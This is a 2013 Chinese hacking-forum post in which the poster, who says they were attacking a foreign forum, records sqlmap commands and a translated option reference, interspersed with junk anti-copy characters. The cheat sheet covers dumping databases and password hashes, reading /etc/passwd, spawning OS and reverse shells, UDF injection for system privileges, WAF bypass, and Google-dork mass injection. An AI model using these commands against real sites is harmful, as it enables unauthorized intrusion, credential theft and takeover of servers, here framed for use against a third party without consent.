找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2495|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
4 k3 m: ~! F) W4 |$ s) O  Msqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
& \6 v0 U' X2 {. y  r  X( ]) zsqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名+ T: }. k+ A5 y& k$ M1 s3 n/ t
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段# n0 e- ~2 ]; ^7 I/ j

0 G& U  X# U3 s* rsqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v4 J0 \; C3 y3 E! z; P7 n+ ~
0 #获取字段内容3 \' {) c! n7 k; R( h! V
, w; Z$ c  }, M0 S9 X7 z
******************信息获取******************
: g7 I# h: g, K& ]sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型5 B: U4 G; y/ {
sqlmap -u “http://url/news?id=1″ –users #列数据库用户# X6 M% P1 |1 M4 o1 e
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
/ _4 [0 f' L9 p8 m6 ]% l: {sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
8 Z! t. k2 g# k& D8 E$ j8 [2 rsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
" j- p1 d2 R( fsqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”7 i8 M6 `3 Q! g; I) t+ h& [
–start 1 –stop 20 #列出指定字段,列出20 条) {9 \( x# W4 }- v7 K
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
. L  v2 M8 f% ^# r- M/ w' ^sqlmap -u “http://url/news?id=1″ –privileges #查看权限
; G6 l& }$ D9 I2 L( R2 Dsqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
7 X' d' z) c  g2 d) ~6 Usqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
# E( Y' n7 H8 j. jsqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
0 c, C* w0 e5 Gsqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
9 ?: p. x  g9 A5 Q9 s! x+ L2 o% ?8 `sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
7 {7 d. f5 V( q9 Usqlmap -u “http://url/news?id=1″-b #获取banner信息
; B8 v. q) Q7 C5 @/ Osqlmap -u “http://url/news?id=1″ –data “id=3″#post注入% F* \0 x0 U8 M$ N+ h, _9 p0 V' `% C
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型) K2 e1 k* {: `- u3 d
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
1 e9 b1 x% V, Xsqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
2 _0 g6 g& }8 \sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令3 x! w; N% x8 u. e. z
sqlmap -u “http://url/news?id=1″ –file /etc/passwd) y; p4 e1 [! B, o4 Z: v; r9 U
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令* E3 A3 w+ {$ |6 T" u
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
) q8 ~/ c0 j: P0 D+ C, Gsqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
+ M( I1 \: Z8 t$ o9 _; Vsqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
1 L9 B7 i8 k- o0 jsqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
# N. G; h5 ]: q3 j/ \; j* o& V***********高级用法*************
8 D5 q1 G& i0 P" X4 v* r- {-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
8 n8 r- m# |" Y/ j- @sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
5 S1 E& [4 l* P% @; {, T! |7 X–technique   测试指定注入类型\使用的技术# [$ d. }2 O$ |/ f& R4 S' C
不加参数默认测试所有注入技术( L/ Z0 X/ N. `' Q/ R
•     B: 基于布尔的SQL 盲注: B9 E/ e* u: j+ J: `. C; l: l4 v
•     E: 基于显错sql 注入
  L- Z+ F# Y3 a8 M: ]) R" _) X& }•     U: 基于UNION 注入
: m2 j4 }5 @$ y8 I•     S: 叠层sql 注入% ^- j3 v' m2 K) d3 h- Z
•     T: 基于时间盲注
& l' j) n9 y6 v+ x' D. [' q$ b! ^–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
+ ?! X* W9 K8 _7 z# Y–tamper 插件所在目录" t- d% V  {2 k' @" h- d
\sqlmap-dev\tamper
$ c% s' ^) s6 X7 ~4 M5 psqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能4 v( l$ n) z- @; ^* N7 Z6 M
level 执行测试等级 攻击实例:( p) k/ y2 }1 W4 A
Sqlmap -u “http://url/news?id=1&Submit=Submit”
+ e+ y* U' U4 {! @3 I–cookie=”PHPSESSID=41aa833e6d0d9 h6 Y4 U( `: T# K& x
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user6 H& T- y' \4 i4 c+ t2 z1 B
–password
4 P7 ?4 f, X$ a9 S( q$ ]" R参考文档:http://sqlmap.sourceforge.net/doc/README.html
' G/ G. ~7 E- o% S3 M% L0 ~& v+ G***********安装最新版本*************
2 K. e* f8 \$ i0 U' q6 n6 [ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版( D# }* V% f0 [
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev: `8 n0 r* j, \5 Y; q+ H8 H
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件6 ~8 }6 c# I2 k! H, |  ?5 G% j6 y
sudo vim /home/当前用户/.bashrc
- p- u, A8 A- g9 J4 t: |#任意位置加上:; P  C- u( F6 ]1 ^" l
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
7 O* Z. i5 b/ b1 ]& z4 u1 [* a: T1 G如果想对所有用户有效 可设置全局 编辑下面的文件
7 A7 x: V+ o! E1 P4 _4 U; n# }vim /etc/profile. R1 H0 U8 |# t; Q* c/ E2 M
同样加上:$ M' s8 Q, @/ s( a3 K
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效3 |4 w: i) X. p) p- p
******************windows 7 (x64) sqlmap install (SVN)************2 @; A2 e6 B. P0 \* B7 B% |
http://www.python.org/getit/ 安装python( z! k5 \" g) Q0 O
http://www.sliksvn.com/en/download 安装windows svn client, @$ m; e) u" f7 n, A
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev0 j; }9 \# C5 S9 r
安装sqlmap- g9 J1 e3 R" }" T+ ?; m. z1 y2 l
*修改环境变量3 X, E$ J/ |* c
–version             显示程序的版本号并退出. R5 c+ V5 m; @& o* c" ?3 D
-h, –help            显示此帮助消息并退出* f# }6 q- R: U1 v5 g' c3 i; P3 ?8 k
-v VERBOSE            详细级别:0-6(默认为1)
+ e0 _* I6 u4 K/ \9 r4 cTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。
7 I! c3 f1 ~2 d8 l' q; e-d DIRECT           直接连接到数据库。) E% _, O0 y7 P2 H) b: U
-u URL, –url=URL   目标URL。$ L6 r4 }% ?! ]! r3 }0 A* w
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。: ]# Z/ Y. U$ ~1 ]
-r REQUESTFILE      从一个文件中载入HTTP 请求。! Q6 Z& E) h' _( t" R& U( I$ f
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。2 l# C2 a- q* B; P0 q
-c CONFIGFILE       从INI 配置文件中加载选项。# h& ~4 k4 n: x6 u* \
Request(请求)::
6 u# Z) N/ v& H3 [( w. R- l4 k这些选项可以用来指定如何连接到目标URL。! U& m/ W: C" R" o
–data=DATA         通过POST 发送的数据字符串
$ w; A* k  Q# c6 M" r6 E! i–cookie=COOKIE     HTTP Cookie 头. G( J, I; \2 c, ]
–cookie-urlencode  URL 编码生成的cookie 注入
% Z" S; c: z+ L% w% G–drop-set-cookie   忽略响应的Set –Cookie 头信息4 [; U( j. a* h! a% J( P7 a! W

9 a  w: O  q  A' p& ^% |–user-agent=AGENT  指定  HTTP User –Agent 头
/ B- H1 l6 c/ k6 f8 k$ C/ d8 K–random-agent      使用随机选定的HTTP User –Agent 头9 b( x3 B, j6 H& D) ^; P
–referer=REFERER   指定  HTTP Referer 头+ N7 V6 l2 W) n  z4 `! n6 F
–headers=HEADERS   换行分开,加入其他的HTTP 头; I# L# N6 J. P2 ]$ y& n
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
9 Q, L9 P" l/ J–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
. H* M: s1 ]9 B, F8 {; B& @/ q+ Q–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)- o  h6 E4 O' |
–proxy=PROXY       使用HTTP 代理连接到目标URL
) J. k+ v$ }0 c9 o5 c) y9 y* e) c–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
$ q- S" ~" Y  Q$ e% a2 S$ P. `–ignore-proxy      忽略系统默认的HTTP 代理8 S3 K& F; ]9 @7 T4 |" V2 [
–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒9 p4 k! j/ M' O8 \- m5 @
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒); p1 ?, c" Y* O1 L" `* K" M& n: [+ c
–retries=RETRIES   连接超时后重新连接的时间(默认3)" ?! g& t% S5 p( s
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
% f# |2 d9 E% W6 W) p–safe-url=SAFURL   在测试过程中经常访问的url 地址
1 O% G: d" _* [0 N1 o( c–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL
- c8 x, m; _% tOptimization(优化): 这些选项可用于优化SqlMap 的性能。8 n, Y. J% A8 h( q  V) n' j; D% Q7 F$ C
-o                  开启所有优化开关5 t" w: X7 b5 o) B8 N& {& j2 \
–predict-output    预测常见的查询输出
4 `' w7 ?2 S. u5 d–keep-alive        使用持久的HTTP(S)连接
# ~2 s4 i7 B( f% b–null-connection   从没有实际的HTTP 响应体中检索页面长度3 j: q9 j& S, i% s. v  J% F
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
" r. d, D& _) R  qInjection(注入):0 ]' H  s* U! m' ^% I. n) u
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。$ b* G, x. \; ^5 V
-p TESTPARAMETER    可测试的参数(S), E! D- R- w! v! D
–dbms=DBMS         强制后端的DBMS 为此值
3 y$ C! a+ X( V' A2 g# _- P( |! c–os=OS             强制后端的DBMS 操作系统为这个值+ J( g8 F8 h  ?: [" t2 ^5 S
–prefix=PREFIX     注入payload 字符串前缀
" H. r5 }8 \: q% ]–suffix=SUFFIX     注入 payload 字符串后缀. [, m6 a* q/ ?8 _% ^( S! w* e
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据! I4 V2 n6 }; n+ J; P
Detection(检测):
  d  \4 f# A" e, g; g5 S这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
/ n; U) s- T* _+ E–level=LEVEL       执行测试的等级(1-5,默认为1), D# z5 k; ]( t- g
–risk=RISK         执行测试的风险(0-3,默认为1)
  }/ B" c% c" i7 T–string=STRING     查询时有效时在页面匹配字符串
" R  A& Q/ n! k4 w! N–regexp=REGEXP     查询时有效时在页面匹配正则表达式
( E- r4 M* ^$ b$ o3 z! b0 X–text-only         仅基于在文本内容比较网页$ }( {2 P6 P  l  I) M" H) S
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。+ }/ }2 F, O4 V: r
–technique=TECH    SQL 注入技术测试(默认BEUST)* B# _4 ~# I% o* L2 g
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
# ]! x0 b8 C( e6 a9 D–union-cols=UCOLS  定列范围用于测试UNION 查询注入
7 G1 F, J& C# b$ S3 u7 A–union-char=UCHAR  用于暴力猜解列数的字符
$ Q/ x7 `6 `# |Fingerprint(指纹):: z& ?0 ^% Q6 Z) f5 H* J
-f, –fingerprint     执行检查广泛的DBMS 版本指纹( f, M- e, b  w- f& S  l. P# _
Enumeration(枚举):3 X- D+ B# ]) m4 y" }2 p
, `6 Z, d' T' ]& z' X
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
+ A3 j: o# `, z9 E-b, –banner        检索数据库管理系统的标识4 q9 {- J6 V2 |& j
–current-user      检索数据库管理系统当前用户
2 g% j( N. d4 w$ ^$ n0 Z–current-db        检索数据库管理系统当前数据库" {/ O% X2 z% k: X& c
–is-dba            检测DBMS 当前用户是否DBA$ n" s7 J+ I) ]; V# V# }! v
–users             枚举数据库管理系统用户
& z5 y# o, a8 y! U+ d9 g# }$ n–passwords         枚举数据库管理系统用户密码哈希& @- Z7 V6 i+ \/ f, W6 Q; y5 O, z$ q
–privileges        枚举数据库管理系统用户的权限
# o/ S+ w4 _% G5 d–roles             枚举数据库管理系统用户的角色- @4 J7 Z- ?# D/ a  ?
–dbs               枚举数据库管理系统数据库) n+ C' ?) I; S. t
–tables            枚举的DBMS 数据库中的表- C: f! j5 ~/ t$ J
–columns           枚举DBMS 数据库表列
* ?' a5 r3 R/ z5 l2 y/ I" K7 `$ I–dump              转储数据库管理系统的数据库中的表项. N- D2 S/ p4 E! ]+ h% v
–dump-all          转储所有的DBMS 数据库表中的条目2 [2 j1 t$ K* t: v
–search            搜索列(S),表(S)和/或数据库名称(S)2 _/ f' J! G. r8 K% R! x6 V
-D DB               要进行枚举的数据库名
/ e  u! K5 Q  S4 ~4 A-T TBL              要进行枚举的数据库表9 w; O5 V7 e, D2 t- u: j6 F
-C COL              要进行枚举的数据库列) Q- B2 _8 v5 K( U1 s: W+ u; p
-U USER             用来进行枚举的数据库用户" n" |/ g. M& v9 y7 q3 c# p
–exclude-sysdbs    枚举表时排除系统数据库, m8 ]" Z# k- c% M6 o; x. i
–start=LIMITSTART  第一个查询输出进入检索9 b/ E: F: y/ Z- Z8 M
–stop=LIMITSTOP    最后查询的输出进入检索+ j" d* F8 m- m6 C' v' J8 Q, E
–first=FIRSTCHAR   第一个查询输出字的字符检索
# }( @3 D* T" S8 |) [  q–last=LASTCHAR     最后查询的输出字字符检索
  u# w3 I/ C9 s1 {7 n0 t8 I1 Y/ X–sql-query=QUERY   要执行的SQL 语句% L$ w0 p7 j( V6 G
–sql-shell         提示交互式SQL 的shell
+ W5 T9 G/ L% }0 {+ Q1 r  T) tBrute force(蛮力): 这些选项可以被用来运行蛮力检查。
) m" W6 d0 C' \* p* z–common-tables     检查存在共同表
$ q/ r9 h4 F- x1 n( F! h–common-columns    检查存在共同列) Q6 g! M% m- T. h! A
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
8 B) e% E* n+ r3 u' A% i–udf-inject        注入用户自定义函数
) N1 n7 Y7 L: y. S: x4 O–shared-lib=SHLIB  共享库的本地路径6 P5 }6 z4 U$ g" `! m' Q( i
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
; I9 b( z) a1 w0 A3 N–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
7 q$ N& C  _3 k8 I–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
# j/ n' J7 U2 |* e: o0 r6 A–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
) ^& s0 a" H: q/ W2 SOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。1 |4 J0 S1 m% v- T+ V7 l' [) T: K
–os-cmd=OSCMD      执行操作系统命令
6 t- a% p( Y9 h1 B–os-shell          交互式的操作系统的shell
3 Q1 Q9 i9 d4 y9 ]" t( h6 h–os-pwn            获取一个OOB shell,meterpreter 或VNC' ]8 b" s! x5 w; G! C
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC2 j% H$ M' G1 e4 N6 p) C# t
–os-bof            存储过程缓冲区溢出利用
/ m$ S' u9 w9 @, m' {9 `0 t) }–priv-esc          数据库进程用户权限提升  B$ X& E- P  t5 p9 x
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径" R) E+ L. H* t8 v5 E% d
–tmp-path=TMPPATH  远程临时文件目录的绝对路径+ d8 y. W0 j6 b
# N. ?5 n" A( n. ?8 H- ?: E- c
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
6 q: F+ b3 _+ t4 }+ Y–reg-read          读一个Windows 注册表项值
$ k* o& J5 w. M3 F8 D% X–reg-add           写一个Windows 注册表项值数据
4 N0 N: X; y+ K/ k  R–reg-del           删除Windows 注册表键值
$ P5 u1 g5 N& M" o* \–reg-key=REGKEY    Windows 注册表键
5 f( f0 I5 ~% ]–reg-value=REGVAL  Windows 注册表项值. T- n2 h; u- I* X* K
–reg-data=REGDATA  Windows 注册表键值数据
7 i- w) V' S. N. j, s–reg-type=REGTYPE  Windows 注册表项值类型5 I6 L( H; z, f2 m. |% w
General(一般): 这些选项可以用来设置一些一般的工作参数。
: t% ]! U+ L) r- ?8 Q( d-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
( ~$ H& i1 ~( C$ H-s SESSIONFILE      保存和恢复检索会话文件的所有数据
; g) F: i/ H* E–flush-session     刷新当前目标的会话文件
. P3 P8 @8 P. ?–fresh-queries     忽略在会话文件中存储的查询结果
0 M) C" }( ]" Y–eta               显示每个输出的预计到达时间/ d- T9 P- _9 I0 {, m% @/ O( ]
–update            更新SqlMap
9 H  h: D1 s7 N% v–save              file 保存选项到INI 配置文件
$ c4 e" `4 y( Q, p9 q8 s–batch             从不询问用户输入,使用所有默认配置。% i3 D- g: X+ M9 Y
Miscellaneous(杂项):
% D7 D$ m4 G5 D2 p# L–beep              发现SQL 注入时提醒
; w9 T5 m' {. }! n$ x' E  _% s0 b–check-payload     IDS 对注入payloads 的检测测试4 M' g9 `5 V( S0 ^( a2 L0 @% ?2 a
–cleanup           SqlMap 具体的UDF 和表清理DBMS
% F0 ]- b. g1 ?' }9 r4 O3 C8 u–forms             对目标URL 的解析和测试形式( c+ y* C+ ^6 A" c+ q' P
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
% Q4 M, h* I3 y. q& @+ \: j- |–page-rank         Google dork 结果显示网页排名(PR)1 U. v1 w) j  d$ H
–parse-errors      从响应页面解析数据库管理系统的错误消息
0 z8 U2 [+ G; o) i% d6 V. [) s–replicate         复制转储的数据到一个sqlite3 数据库6 F! L% B( @7 ~6 r8 o! t
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址6 H) @! [8 |" c+ A) W* G3 F9 f  P
–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表